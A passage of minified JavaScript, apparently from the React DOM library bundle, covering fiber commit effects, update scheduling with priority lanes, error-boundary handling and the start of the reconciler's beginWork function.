qi(t.type)&&Ji(),e=t.flags,e&65536?(t.flags=e&-65537|128,t):null;case 3:return xo(),Bi(Wi),Bi(Ui),Do(),e=t.flags,e&65536&&!(e&128)?(t.flags=e&-65537|128,t):null;case 5:return Co(t),null;case 13:if(Bi(wo),e=t.memoizedState,e!==null&&e.dehydrated!==null){if(t.alternate===null)throw Error(r(340));ka()}return e=t.flags,e&65536?(t.flags=e&-65537|128,t):null;case 19:return Bi(wo),null;case 4:return xo(),null;case 10:return Ra(t.type._context),null;case 22:case 23:return Ol(),null;case 24:return null;default:return null}}var dc=!1,fc=!1,pc=typeof WeakSet==`function`?WeakSet:Set,mc=null;function hc(e,t){var n=e.ref;if(n!==null)if(typeof n==`function`)try{n(null)}catch(n){Hl(e,t,n)}else n.current=null}function gc(e,t,n){try{n()}catch(n){Hl(e,t,n)}}var _c=!1;function vc(e,t){if(hi=cn,e=Dr(),Or(e)){if(`selectionStart`in e)var n={start:e.selectionStart,end:e.selectionEnd};else a:{n=(n=e.ownerDocument)&&n.defaultView||window;var i=n.getSelection&&n.getSelection();if(i&&i.rangeCount!==0){n=i.anchorNode;var a=i.anchorOffset,o=i.focusNode;i=i.focusOffset;try{n.nodeType,o.nodeType}catch{n=null;break a}var s=0,c=-1,l=-1,u=0,d=0,f=e,p=null;b:for(;;){for(var m;f!==n||a!==0&&f.nodeType!==3||(c=s+a),f!==o||i!==0&&f.nodeType!==3||(l=s+i),f.nodeType===3&&(s+=f.nodeValue.length),(m=f.firstChild)!==null;)p=f,f=m;for(;;){if(f===e)break b;if(p===n&&++u===a&&(c=s),p===o&&++d===i&&(l=s),(m=f.nextSibling)!==null)break;f=p,p=f.parentNode}f=m}n=c===-1||l===-1?null:{start:c,end:l}}else n=null}n||={start:0,end:0}}else n=null;for(gi={focusedElem:e,selectionRange:n},cn=!1,mc=t;mc!==null;)if(t=mc,e=t.child,t.subtreeFlags&1028&&e!==null)e.return=t,mc=e;else for(;mc!==null;){t=mc;try{var h=t.alternate;if(t.flags&1024)switch(t.tag){case 0:case 11:case 15:break;case 1:if(h!==null){var g=h.memoizedProps,_=h.memoizedState,v=t.stateNode;v.__reactInternalSnapshotBeforeUpdate=v.getSnapshotBeforeUpdate(t.elementType===t.type?g:Ma(t.type,g),_)}break;case 3:var y=t.stateNode.containerInfo;y.nodeType===1?y.textContent=``:y.nodeType===9&&y.documentElement&&y.removeChild(y.documentElement);break;case 5:case 6:case 4:case 17:break;default:throw Error(r(163))}}catch(e){Hl(t,t.return,e)}if(e=t.sibling,e!==null){e.return=t.return,mc=e;break}mc=t.return}return h=_c,_c=!1,h}function yc(e,t,n){var r=t.updateQueue;if(r=r===null?null:r.lastEffect,r!==null){var i=r=r.next;do{if((i.tag&e)===e){var a=i.destroy;i.destroy=void 0,a!==void 0&&gc(t,n,a)}i=i.next}while(i!==r)}}function bc(e,t){if(t=t.updateQueue,t=t===null?null:t.lastEffect,t!==null){var n=t=t.next;do{if((n.tag&e)===e){var r=n.create;n.destroy=r()}n=n.next}while(n!==t)}}function xc(e){var t=e.ref;if(t!==null){var n=e.stateNode;switch(e.tag){case 5:e=n;break;default:e=n}typeof t==`function`?t(e):t.current=e}}function Sc(e){var t=e.alternate;t!==null&&(e.alternate=null,Sc(t)),e.child=null,e.deletions=null,e.sibling=null,e.tag===5&&(t=e.stateNode,t!==null&&(delete t[Di],delete t[Oi],delete t[Ai],delete t[ji],delete t[Mi])),e.stateNode=null,e.return=null,e.dependencies=null,e.memoizedProps=null,e.memoizedState=null,e.pendingProps=null,e.stateNode=null,e.updateQueue=null}function Cc(e){return e.tag===5||e.tag===3||e.tag===4}function wc(e){a:for(;;){for(;e.sibling===null;){if(e.return===null||Cc(e.return))return null;e=e.return}for(e.sibling.return=e.return,e=e.sibling;e.tag!==5&&e.tag!==6&&e.tag!==18;){if(e.flags&2||e.child===null||e.tag===4)continue a;e.child.return=e,e=e.child}if(!(e.flags&2))return e.stateNode}}function Tc(e,t,n){var r=e.tag;if(r===5||r===6)e=e.stateNode,t?n.nodeType===8?n.parentNode.insertBefore(e,t):n.insertBefore(e,t):(n.nodeType===8?(t=n.parentNode,t.insertBefore(e,n)):(t=n,t.appendChild(e)),n=n._reactRootContainer,n!=null||t.onclick!==null||(t.onclick=mi));else if(r!==4&&(e=e.child,e!==null))for(Tc(e,t,n),e=e.sibling;e!==null;)Tc(e,t,n),e=e.sibling}function Ec(e,t,n){var r=e.tag;if(r===5||r===6)e=e.stateNode,t?n.insertBefore(e,t):n.appendChild(e);else if(r!==4&&(e=e.child,e!==null))for(Ec(e,t,n),e=e.sibling;e!==null;)Ec(e,t,n),e=e.sibling}var Dc=null,Oc=!1;function kc(e,t,n){for(n=n.child;n!==null;)Ac(e,t,n),n=n.sibling}function Ac(e,t,n){if(bt&&typeof bt.onCommitFiberUnmount==`function`)try{bt.onCommitFiberUnmount(yt,n)}catch{}switch(n.tag){case 5:fc||hc(n,t);case 6:var r=Dc,i=Oc;Dc=null,kc(e,t,n),Dc=r,Oc=i,Dc!==null&&(Oc?(e=Dc,n=n.stateNode,e.nodeType===8?e.parentNode.removeChild(n):e.removeChild(n)):Dc.removeChild(n.stateNode));break;case 18:Dc!==null&&(Oc?(e=Dc,n=n.stateNode,e.nodeType===8?Ci(e.parentNode,n):e.nodeType===1&&Ci(e,n),on(e)):Ci(Dc,n.stateNode));break;case 4:r=Dc,i=Oc,Dc=n.stateNode.containerInfo,Oc=!0,kc(e,t,n),Dc=r,Oc=i;break;case 0:case 11:case 14:case 15:if(!fc&&(r=n.updateQueue,r!==null&&(r=r.lastEffect,r!==null))){i=r=r.next;do{var a=i,o=a.destroy;a=a.tag,o!==void 0&&(a&2||a&4)&&gc(n,t,o),i=i.next}while(i!==r)}kc(e,t,n);break;case 1:if(!fc&&(hc(n,t),r=n.stateNode,typeof r.componentWillUnmount==`function`))try{r.props=n.memoizedProps,r.state=n.memoizedState,r.componentWillUnmount()}catch(e){Hl(n,t,e)}kc(e,t,n);break;case 21:kc(e,t,n);break;case 22:n.mode&1?(fc=(r=fc)||n.memoizedState!==null,kc(e,t,n),fc=r):kc(e,t,n);break;default:kc(e,t,n)}}function jc(e){var t=e.updateQueue;if(t!==null){e.updateQueue=null;var n=e.stateNode;n===null&&(n=e.stateNode=new pc),t.forEach(function(t){var r=Kl.bind(null,e,t);n.has(t)||(n.add(t),t.then(r,r))})}}function Mc(e,t){var n=t.deletions;if(n!==null)for(var i=0;i<n.length;i++){var a=n[i];try{var o=e,s=t,c=s;a:for(;c!==null;){switch(c.tag){case 5:Dc=c.stateNode,Oc=!1;break a;case 3:Dc=c.stateNode.containerInfo,Oc=!0;break a;case 4:Dc=c.stateNode.containerInfo,Oc=!0;break a}c=c.return}if(Dc===null)throw Error(r(160));Ac(o,s,a),Dc=null,Oc=!1;var l=a.alternate;l!==null&&(l.return=null),a.return=null}catch(e){Hl(a,t,e)}}if(t.subtreeFlags&12854)for(t=t.child;t!==null;)Nc(t,e),t=t.sibling}function Nc(e,t){var n=e.alternate,i=e.flags;switch(e.tag){case 0:case 11:case 14:case 15:if(Mc(t,e),Pc(e),i&4){try{yc(3,e,e.return),bc(3,e)}catch(t){Hl(e,e.return,t)}try{yc(5,e,e.return)}catch(t){Hl(e,e.return,t)}}break;case 1:Mc(t,e),Pc(e),i&512&&n!==null&&hc(n,n.return);break;case 5:if(Mc(t,e),Pc(e),i&512&&n!==null&&hc(n,n.return),e.flags&32){var a=e.stateNode;try{Fe(a,``)}catch(t){Hl(e,e.return,t)}}if(i&4&&(a=e.stateNode,a!=null)){var o=e.memoizedProps,s=n===null?o:n.memoizedProps,c=e.type,l=e.updateQueue;if(e.updateQueue=null,l!==null)try{c===`input`&&o.type===`radio`&&o.name!=null&&Se(a,o),He(c,s);var u=He(c,o);for(s=0;s<l.length;s+=2){var d=l[s],f=l[s+1];d===`style`?ze(a,f):d===`dangerouslySetInnerHTML`?Pe(a,f):d===`children`?Fe(a,f):S(a,d,f,u)}switch(c){case`input`:Ce(a,o);break;case`textarea`:Ae(a,o);break;case`select`:var p=a._wrapperState.wasMultiple;a._wrapperState.wasMultiple=!!o.multiple;var m=o.value;m==null?p!==!!o.multiple&&(o.defaultValue==null?De(a,!!o.multiple,o.multiple?[]:``,!1):De(a,!!o.multiple,o.defaultValue,!0)):De(a,!!o.multiple,m,!1)}a[Oi]=o}catch(t){Hl(e,e.return,t)}}break;case 6:if(Mc(t,e),Pc(e),i&4){if(e.stateNode===null)throw Error(r(162));a=e.stateNode,o=e.memoizedProps;try{a.nodeValue=o}catch(t){Hl(e,e.return,t)}}break;case 3:if(Mc(t,e),Pc(e),i&4&&n!==null&&n.memoizedState.isDehydrated)try{on(t.containerInfo)}catch(t){Hl(e,e.return,t)}break;case 4:Mc(t,e),Pc(e);break;case 13:Mc(t,e),Pc(e),a=e.child,a.flags&8192&&(o=a.memoizedState!==null,a.stateNode.isHidden=o,!o||a.alternate!==null&&a.alternate.memoizedState!==null||(rl=H())),i&4&&jc(e);break;case 22:if(d=n!==null&&n.memoizedState!==null,e.mode&1?(fc=(u=fc)||d,Mc(t,e),fc=u):Mc(t,e),Pc(e),i&8192){if(u=e.memoizedState!==null,(e.stateNode.isHidden=u)&&!d&&e.mode&1)for(mc=e,d=e.child;d!==null;){for(f=mc=d;mc!==null;){switch(p=mc,m=p.child,p.tag){case 0:case 11:case 14:case 15:yc(4,p,p.return);break;case 1:hc(p,p.return);var h=p.stateNode;if(typeof h.componentWillUnmount==`function`){i=p,n=p.return;try{t=i,h.props=t.memoizedProps,h.state=t.memoizedState,h.componentWillUnmount()}catch(e){Hl(i,n,e)}}break;case 5:hc(p,p.return);break;case 22:if(p.memoizedState!==null){Rc(f);continue}}m===null?Rc(f):(m.return=p,mc=m)}d=d.sibling}a:for(d=null,f=e;;){if(f.tag===5){if(d===null){d=f;try{a=f.stateNode,u?(o=a.style,typeof o.setProperty==`function`?o.setProperty(`display`,`none`,`important`):o.display=`none`):(c=f.stateNode,l=f.memoizedProps.style,s=l!=null&&l.hasOwnProperty(`display`)?l.display:null,c.style.display=Re(`display`,s))}catch(t){Hl(e,e.return,t)}}}else if(f.tag===6){if(d===null)try{f.stateNode.nodeValue=u?``:f.memoizedProps}catch(t){Hl(e,e.return,t)}}else if((f.tag!==22&&f.tag!==23||f.memoizedState===null||f===e)&&f.child!==null){f.child.return=f,f=f.child;continue}if(f===e)break a;for(;f.sibling===null;){if(f.return===null||f.return===e)break a;d===f&&(d=null),f=f.return}d===f&&(d=null),f.sibling.return=f.return,f=f.sibling}}break;case 19:Mc(t,e),Pc(e),i&4&&jc(e);break;case 21:break;default:Mc(t,e),Pc(e)}}function Pc(e){var t=e.flags;if(t&2){try{a:{for(var n=e.return;n!==null;){if(Cc(n)){var i=n;break a}n=n.return}throw Error(r(160))}switch(i.tag){case 5:var a=i.stateNode;i.flags&32&&(Fe(a,``),i.flags&=-33),Ec(e,wc(e),a);break;case 3:case 4:var o=i.stateNode.containerInfo;Tc(e,wc(e),o);break;default:throw Error(r(161))}}catch(t){Hl(e,e.return,t)}e.flags&=-3}t&4096&&(e.flags&=-4097)}function Fc(e,t,n){mc=e,Ic(e,t,n)}function Ic(e,t,n){for(var r=(e.mode&1)!=0;mc!==null;){var i=mc,a=i.child;if(i.tag===22&&r){var o=i.memoizedState!==null||dc;if(!o){var s=i.alternate,c=s!==null&&s.memoizedState!==null||fc;s=dc;var l=fc;if(dc=o,(fc=c)&&!l)for(mc=i;mc!==null;)o=mc,c=o.child,o.tag===22&&o.memoizedState!==null||c===null?zc(i):(c.return=o,mc=c);for(;a!==null;)mc=a,Ic(a,t,n),a=a.sibling;mc=i,dc=s,fc=l}Lc(e,t,n)}else i.subtreeFlags&8772&&a!==null?(a.return=i,mc=a):Lc(e,t,n)}}function Lc(e){for(;mc!==null;){var t=mc;if(t.flags&8772){var n=t.alternate;try{if(t.flags&8772)switch(t.tag){case 0:case 11:case 15:fc||bc(5,t);break;case 1:var i=t.stateNode;if(t.flags&4&&!fc)if(n===null)i.componentDidMount();else{var a=t.elementType===t.type?n.memoizedProps:Ma(t.type,n.memoizedProps);i.componentDidUpdate(a,n.memoizedState,i.__reactInternalSnapshotBeforeUpdate)}var o=t.updateQueue;o!==null&&eo(t,o,i);break;case 3:var s=t.updateQueue;if(s!==null){if(n=null,t.child!==null)switch(t.child.tag){case 5:n=t.child.stateNode;break;case 1:n=t.child.stateNode}eo(t,s,n)}break;case 5:var c=t.stateNode;if(n===null&&t.flags&4){n=c;var l=t.memoizedProps;switch(t.type){case`button`:case`input`:case`select`:case`textarea`:l.autoFocus&&n.focus();break;case`img`:l.src&&(n.src=l.src)}}break;case 6:break;case 4:break;case 12:break;case 13:if(t.memoizedState===null){var u=t.alternate;if(u!==null){var d=u.memoizedState;if(d!==null){var f=d.dehydrated;f!==null&&on(f)}}}break;case 19:case 17:case 21:case 22:case 23:case 25:break;default:throw Error(r(163))}fc||t.flags&512&&xc(t)}catch(e){Hl(t,t.return,e)}}if(t===e){mc=null;break}if(n=t.sibling,n!==null){n.return=t.return,mc=n;break}mc=t.return}}function Rc(e){for(;mc!==null;){var t=mc;if(t===e){mc=null;break}var n=t.sibling;if(n!==null){n.return=t.return,mc=n;break}mc=t.return}}function zc(e){for(;mc!==null;){var t=mc;try{switch(t.tag){case 0:case 11:case 15:var n=t.return;try{bc(4,t)}catch(e){Hl(t,n,e)}break;case 1:var r=t.stateNode;if(typeof r.componentDidMount==`function`){var i=t.return;try{r.componentDidMount()}catch(e){Hl(t,i,e)}}var a=t.return;try{xc(t)}catch(e){Hl(t,a,e)}break;case 5:var o=t.return;try{xc(t)}catch(e){Hl(t,o,e)}}}catch(e){Hl(t,t.return,e)}if(t===e){mc=null;break}var s=t.sibling;if(s!==null){s.return=t.return,mc=s;break}mc=t.return}}var Bc=Math.ceil,Vc=C.ReactCurrentDispatcher,Hc=C.ReactCurrentOwner,Uc=C.ReactCurrentBatchConfig,Wc=0,Gc=null,Kc=null,qc=0,Jc=0,Yc=zi(0),Xc=0,Zc=null,Qc=0,$c=0,el=0,tl=null,nl=null,rl=0,il=1/0,al=null,ol=!1,sl=null,cl=null,ll=!1,ul=null,dl=0,fl=0,pl=null,ml=-1,hl=0;function gl(){return Wc&6?H():ml===-1?ml=H():ml}function _l(e){return e.mode&1?Wc&2&&qc!==0?qc&-qc:ja.transition===null?(e=It,e===0?(e=window.event,e=e===void 0?16:mn(e.type),e):e):(hl===0&&(hl=Mt()),hl):1}function vl(e,t,n,i){if(50<fl)throw fl=0,pl=null,Error(r(185));Pt(e,n,i),(!(Wc&2)||e!==Gc)&&(e===Gc&&(!(Wc&2)&&($c|=n),Xc===4&&wl(e,qc)),yl(e,i),n===1&&Wc===0&&!(t.mode&1)&&(il=H()+500,ea&&ia()))}function yl(e,t){var n=e.callbackNode;At(e,t);var r=Ot(e,e===Gc?qc:0);if(r===0)n!==null&&pt(n),e.callbackNode=null,e.callbackPriority=0;else if(t=r&-r,e.callbackPriority!==t){if(n!=null&&pt(n),t===1)e.tag===0?ra(Tl.bind(null,e)):na(Tl.bind(null,e)),xi(function(){!(Wc&6)&&ia()}),n=null;else{switch(Lt(r)){case 1:n=ht;break;case 4:n=U;break;case 16:n=gt;break;case 536870912:n=vt;break;default:n=gt}n=Jl(n,bl.bind(null,e))}e.callbackPriority=t,e.callbackNode=n}}function bl(e,t){if(ml=-1,hl=0,Wc&6)throw Error(r(327));var n=e.callbackNode;if(Bl()&&e.callbackNode!==n)return null;var i=Ot(e,e===Gc?qc:0);if(i===0)return null;if(i&30||(i&e.expiredLanes)!==0||t)t=Nl(e,i);else{t=i;var a=Wc;Wc|=2;var o=jl();(Gc!==e||qc!==t)&&(al=null,il=H()+500,kl(e,t));do try{Fl();break}catch(t){Al(e,t)}while(1);La(),Vc.current=o,Wc=a,Kc===null?(Gc=null,qc=0,t=Xc):t=0}if(t!==0){if(t===2&&(a=jt(e),a!==0&&(i=a,t=xl(e,a))),t===1)throw n=Zc,kl(e,0),wl(e,i),yl(e,H()),n;if(t===6)wl(e,i);else{if(a=e.current.alternate,!(i&30)&&!Cl(a)&&(t=Nl(e,i),t===2&&(o=jt(e),o!==0&&(i=o,t=xl(e,o))),t===1))throw n=Zc,kl(e,0),wl(e,i),yl(e,H()),n;switch(e.finishedWork=a,e.finishedLanes=i,t){case 0:case 1:throw Error(r(345));case 2:Rl(e,nl,al);break;case 3:if(wl(e,i),(i&130023424)===i&&(t=rl+500-H(),10<t)){if(Ot(e,0)!==0)break;if(a=e.suspendedLanes,(a&i)!==i){gl(),e.pingedLanes|=e.suspendedLanes&a;break}e.timeoutHandle=vi(Rl.bind(null,e,nl,al),t);break}Rl(e,nl,al);break;case 4:if(wl(e,i),(i&4194240)===i)break;for(t=e.eventTimes,a=-1;0<i;){var s=31-St(i);o=1<<s,s=t[s],s>a&&(a=s),i&=~o}if(i=a,i=H()-i,i=(120>i?120:480>i?480:1080>i?1080:1920>i?1920:3e3>i?3e3:4320>i?4320:1960*Bc(i/1960))-i,10<i){e.timeoutHandle=vi(Rl.bind(null,e,nl,al),i);break}Rl(e,nl,al);break;case 5:Rl(e,nl,al);break;default:throw Error(r(329))}}}return yl(e,H()),e.callbackNode===n?bl.bind(null,e):null}function xl(e,t){var n=tl;return e.current.memoizedState.isDehydrated&&(kl(e,t).flags|=256),e=Nl(e,t),e!==2&&(t=nl,nl=n,t!==null&&Sl(t)),e}function Sl(e){nl===null?nl=e:nl.push.apply(nl,e)}function Cl(e){for(var t=e;;){if(t.flags&16384){var n=t.updateQueue;if(n!==null&&(n=n.stores,n!==null))for(var r=0;r<n.length;r++){var i=n[r],a=i.getSnapshot;i=i.value;try{if(!Sr(a(),i))return!1}catch{return!1}}}if(n=t.child,t.subtreeFlags&16384&&n!==null)n.return=t,t=n;else{if(t===e)break;for(;t.sibling===null;){if(t.return===null||t.return===e)return!0;t=t.return}t.sibling.return=t.return,t=t.sibling}}return!0}function wl(e,t){for(t&=~el,t&=~$c,e.suspendedLanes|=t,e.pingedLanes&=~t,e=e.expirationTimes;0<t;){var n=31-St(t),r=1<<n;e[n]=-1,t&=~r}}function Tl(e){if(Wc&6)throw Error(r(327));Bl();var t=Ot(e,0);if(!(t&1))return yl(e,H()),null;var n=Nl(e,t);if(e.tag!==0&&n===2){var i=jt(e);i!==0&&(t=i,n=xl(e,i))}if(n===1)throw n=Zc,kl(e,0),wl(e,t),yl(e,H()),n;if(n===6)throw Error(r(345));return e.finishedWork=e.current.alternate,e.finishedLanes=t,Rl(e,nl,al),yl(e,H()),null}function El(e,t){var n=Wc;Wc|=1;try{return e(t)}finally{Wc=n,Wc===0&&(il=H()+500,ea&&ia())}}function Dl(e){ul!==null&&ul.tag===0&&!(Wc&6)&&Bl();var t=Wc;Wc|=1;var n=Uc.transition,r=It;try{if(Uc.transition=null,It=1,e)return e()}finally{It=r,Uc.transition=n,Wc=t,!(Wc&6)&&ia()}}function Ol(){Jc=Yc.current,Bi(Yc)}function kl(e,t){e.finishedWork=null,e.finishedLanes=0;var n=e.timeoutHandle;if(n!==-1&&(e.timeoutHandle=-1,yi(n)),Kc!==null)for(n=Kc.return;n!==null;){var r=n;switch(_a(r),r.tag){case 1:r=r.type.childContextTypes,r!=null&&Ji();break;case 3:xo(),Bi(Wi),Bi(Ui),Do();break;case 5:Co(r);break;case 4:xo();break;case 13:Bi(wo);break;case 19:Bi(wo);break;case 10:Ra(r.type._context);break;case 22:case 23:Ol()}n=n.return}if(Gc=e,Kc=e=$l(e.current,null),qc=Jc=t,Xc=0,Zc=null,el=$c=Qc=0,nl=tl=null,Ha!==null){for(t=0;t<Ha.length;t++)if(n=Ha[t],r=n.interleaved,r!==null){n.interleaved=null;var i=r.next,a=n.pending;if(a!==null){var o=a.next;a.next=i,r.next=o}n.pending=r}Ha=null}return e}function Al(e,t){do{var n=Kc;try{if(La(),Oo.current=bs,Po){for(var i=jo.memoizedState;i!==null;){var a=i.queue;a!==null&&(a.pending=null),i=i.next}Po=!1}if(Ao=0,No=Mo=jo=null,Fo=!1,Io=0,Hc.current=null,n===null||n.return===null){Xc=1,Zc=t,Kc=null;break}a:{var o=e,s=n.return,c=n,l=t;if(t=qc,c.flags|=32768,typeof l==`object`&&l&&typeof l.then==`function`){var u=l,d=c,f=d.tag;if(!(d.mode&1)&&(f===0||f===11||f===15)){var p=d.alternate;p?(d.updateQueue=p.updateQueue,d.memoizedState=p.memoizedState,d.lanes=p.lanes):(d.updateQueue=null,d.memoizedState=null)}var m=js(s);if(m!==null){m.flags&=-257,Ms(m,s,c,o,t),m.mode&1&&As(o,u,t),t=m,l=u;var h=t.updateQueue;if(h===null){var g=new Set;g.add(l),t.updateQueue=g}else h.add(l);break a}else{if(!(t&1)){As(o,u,t),Ml();break a}l=Error(r(426))}}else if(ba&&c.mode&1){var _=js(s);if(_!==null){!(_.flags&65536)&&(_.flags|=256),Ms(_,s,c,o,t),Aa(ws(l,c));break a}}o=l=ws(l,c),Xc!==4&&(Xc=2),tl===null?tl=[o]:tl.push(o),o=s;do{switch(o.tag){case 3:o.flags|=65536,t&=-t,o.lanes|=t;var v=Os(o,l,t);Qa(o,v);break a;case 1:c=l;var y=o.type,b=o.stateNode;if(!(o.flags&128)&&(typeof y.getDerivedStateFromError==`function`||b!==null&&typeof b.componentDidCatch==`function`&&(cl===null||!cl.has(b)))){o.flags|=65536,t&=-t,o.lanes|=t;var x=ks(o,c,t);Qa(o,x);break a}}o=o.return}while(o!==null)}Ll(n)}catch(e){t=e,Kc===n&&n!==null&&(Kc=n=n.return);continue}break}while(1)}function jl(){var e=Vc.current;return Vc.current=bs,e===null?bs:e}function Ml(){(Xc===0||Xc===3||Xc===2)&&(Xc=4),Gc===null||!(Qc&268435455)&&!($c&268435455)||wl(Gc,qc)}function Nl(e,t){var n=Wc;Wc|=2;var i=jl();(Gc!==e||qc!==t)&&(al=null,kl(e,t));do try{Pl();break}catch(t){Al(e,t)}while(1);if(La(),Wc=n,Vc.current=i,Kc!==null)throw Error(r(261));return Gc=null,qc=0,Xc}function Pl(){for(;Kc!==null;)Il(Kc)}function Fl(){for(;Kc!==null&&!B();)Il(Kc)}function Il(e){var t=ql(e.alternate,e,Jc);e.memoizedProps=e.pendingProps,t===null?Ll(e):Kc=t,Hc.current=null}function Ll(e){var t=e;do{var n=t.alternate;if(e=t.return,t.flags&32768){if(n=uc(n,t),n!==null){n.flags&=32767,Kc=n;return}if(e!==null)e.flags|=32768,e.subtreeFlags=0,e.deletions=null;else{Xc=6,Kc=null;return}}else if(n=lc(n,t,Jc),n!==null){Kc=n;return}if(t=t.sibling,t!==null){Kc=t;return}Kc=t=e}while(t!==null);Xc===0&&(Xc=5)}function Rl(e,t,n){var r=It,i=Uc.transition;try{Uc.transition=null,It=1,zl(e,t,n,r)}finally{Uc.transition=i,It=r}return null}function zl(e,t,n,i){do Bl();while(ul!==null);if(Wc&6)throw Error(r(327));n=e.finishedWork;var a=e.finishedLanes;if(n===null)return null;if(e.finishedWork=null,e.finishedLanes=0,n===e.current)throw Error(r(177));e.callbackNode=null,e.callbackPriority=0;var o=n.lanes|n.childLanes;if(Ft(e,o),e===Gc&&(Kc=Gc=null,qc=0),!(n.subtreeFlags&2064)&&!(n.flags&2064)||ll||(ll=!0,Jl(gt,function(){return Bl(),null})),o=(n.flags&15990)!=0,n.subtreeFlags&15990||o){o=Uc.transition,Uc.transition=null;var s=It;It=1;var c=Wc;Wc|=4,Hc.current=null,vc(e,n),Nc(n,e),kr(gi),cn=!!hi,gi=hi=null,e.current=n,Fc(n,e,a),V(),Wc=c,It=s,Uc.transition=o}else e.current=n;if(ll&&(ll=!1,ul=e,dl=a),o=e.pendingLanes,o===0&&(cl=null),xt(n.stateNode,i),yl(e,H()),t!==null)for(i=e.onRecoverableError,n=0;n<t.length;n++)a=t[n],i(a.value,{componentStack:a.stack,digest:a.digest});if(ol)throw ol=!1,e=sl,sl=null,e;return dl&1&&e.tag!==0&&Bl(),o=e.pendingLanes,o&1?e===pl?fl++:(fl=0,pl=e):fl=0,ia(),null}function Bl(){if(ul!==null){var e=Lt(dl),t=Uc.transition,n=It;try{if(Uc.transition=null,It=16>e?16:e,ul===null)var i=!1;else{if(e=ul,ul=null,dl=0,Wc&6)throw Error(r(331));var a=Wc;for(Wc|=4,mc=e.current;mc!==null;){var o=mc,s=o.child;if(mc.flags&16){var c=o.deletions;if(c!==null){for(var l=0;l<c.length;l++){var u=c[l];for(mc=u;mc!==null;){var d=mc;switch(d.tag){case 0:case 11:case 15:yc(8,d,o)}var f=d.child;if(f!==null)f.return=d,mc=f;else for(;mc!==null;){d=mc;var p=d.sibling,m=d.return;if(Sc(d),d===u){mc=null;break}if(p!==null){p.return=m,mc=p;break}mc=m}}}var h=o.alternate;if(h!==null){var g=h.child;if(g!==null){h.child=null;do{var _=g.sibling;g.sibling=null,g=_}while(g!==null)}}mc=o}}if(o.subtreeFlags&2064&&s!==null)s.return=o,mc=s;else b:for(;mc!==null;){if(o=mc,o.flags&2048)switch(o.tag){case 0:case 11:case 15:yc(9,o,o.return)}var v=o.sibling;if(v!==null){v.return=o.return,mc=v;break b}mc=o.return}}var y=e.current;for(mc=y;mc!==null;){s=mc;var b=s.child;if(s.subtreeFlags&2064&&b!==null)b.return=s,mc=b;else b:for(s=y;mc!==null;){if(c=mc,c.flags&2048)try{switch(c.tag){case 0:case 11:case 15:bc(9,c)}}catch(e){Hl(c,c.return,e)}if(c===s){mc=null;break b}var x=c.sibling;if(x!==null){x.return=c.return,mc=x;break b}mc=c.return}}if(Wc=a,ia(),bt&&typeof bt.onPostCommitFiberRoot==`function`)try{bt.onPostCommitFiberRoot(yt,e)}catch{}i=!0}return i}finally{It=n,Uc.transition=t}}return!1}function Vl(e,t,n){t=ws(n,t),t=Os(e,t,1),e=Xa(e,t,1),t=gl(),e!==null&&(Pt(e,1,t),yl(e,t))}function Hl(e,t,n){if(e.tag===3)Vl(e,e,n);else for(;t!==null;){if(t.tag===3){Vl(t,e,n);break}else if(t.tag===1){var r=t.stateNode;if(typeof t.type.getDerivedStateFromError==`function`||typeof r.componentDidCatch==`function`&&(cl===null||!cl.has(r))){e=ws(n,e),e=ks(t,e,1),t=Xa(t,e,1),e=gl(),t!==null&&(Pt(t,1,e),yl(t,e));break}}t=t.return}}function Ul(e,t,n){var r=e.pingCache;r!==null&&r.delete(t),t=gl(),e.pingedLanes|=e.suspendedLanes&n,Gc===e&&(qc&n)===n&&(Xc===4||Xc===3&&(qc&130023424)===qc&&500>H()-rl?kl(e,0):el|=n),yl(e,t)}function Wl(e,t){t===0&&(e.mode&1?(t=Et,Et<<=1,!(Et&130023424)&&(Et=4194304)):t=1);var n=gl();e=Ga(e,t),e!==null&&(Pt(e,t,n),yl(e,n))}function Gl(e){var t=e.memoizedState,n=0;t!==null&&(n=t.retryLane),Wl(e,n)}function Kl(e,t){var n=0;switch(e.tag){case 13:var i=e.stateNode,a=e.memoizedState;a!==null&&(n=a.retryLane);break;case 19:i=e.stateNode;break;default:throw Error(r(314))}i!==null&&i.delete(t),Wl(e,n)}var ql=function(e,t,n){if(e!==null)if(e.memoizedProps!==t.pendingProps||Wi.current)Ps=!0;else{if((e.lanes&n)===0&&!(t.flags&128))return Ps=!1,rc(e,t,n);Ps=!!(e.flags&131072)}else Ps=!1,ba&&t.flags&1048576&&ha(t,ca,t.index);switch(t.lanes=0,t.tag){case 2:var i=t.type;tc(e,t),e=t.pendingProps;var a=Ki(t,Ui.current);Ba(t,n),a=Bo(null,t,i,e,a,n);var o=Vo();return t.flags|=1,typeof a==`object`&&a&&typeof a.render==`function`&&a.$$typeof===void 0?(t.tag=1,t.memoizedState=null,t.updateQueue=null,qi(i)?(o=!0,Zi(t)):o=!1,t.memoizedState=a.state!==null&&a.state!==void 0?a.state:null,qa(t),a.updater=ro,t.stateNode=a,a._reactInternals=t,so(t,i,e,n),t=Us(null,t,i,!0,o,n)):(t.tag=0,ba&&o&&ga(t),Fs(null,t,a,n),t=t.child),t;case 16:i=t.elementType;a:{switch(tc(e,t),e=t.pendingProps,a=i._init,i=a(i._payload),t.type=i,a=t.tag=Ql(i),e=Ma(i,e),a){case 0:t=Vs(null,t,i,e,n);break a;case 1:t=Hs(null,t,i,e,n);break a;case 11:t=Is(null,t,i,e,n);break a;case 14:t=Ls(null,t,i,Ma(i.type,e),n);break a}throw Error(r(306,i,``))}return t;case 0:return i=t.type,a=t.pendingProps,a=t.elementType===i?a:Ma(i,a),Vs(e,t,i,a,n);case 1:return i=t.type,a=t.pendingProps,a=t.elementType===i?a:Ma(i,a),Hs(e,t,i,a,n);case 3:a:{if(Ws(t),e===null)throw Error(r(387));i=t.pendingProps,o=t.memoizedState,a=o.element,Ja(e,t),$a(t,i,null,n);var s=t.memoizedState;if(i=s.element,o.isDehydrated)if(o={element:i,isDehydrated:!1,cache:s.cache,pendingSuspenseBoundaries:s.pendingSuspenseBoundaries,transitions:s.transitions},t.updateQueue.baseState=o,t.memoizedState=o,t.flags&256){a=ws(Error(r(423)),t),t=Gs(e,t,i,n,a);break a}else if(i!==a){a=ws(Error(r(424)),t),t=Gs(e,t,i,n,a);break a}else for(ya=wi(t.stateNode.containerInfo.firstChild),va=t,ba=!0,xa=null,n=mo(t,null,i,n),t.child=n;n;)n.flags=n.flags&-3|4096,n=n.sibling;else{if(ka(),i===a){t=nc(e,t,n);break a}Fs(e,t,i,n)}t=t.child}return t;case 5:return So(t),e===null&&Ta(t),i=t.type,a=t.pendingProps,o=e===null?null:e.memoizedProps,s=a.children,_i(i,a)?s=null:o!==null&&_i(i,o)&&(t.flags|=32),Bs(e,t),Fs(e,t,s,n),t.child;case 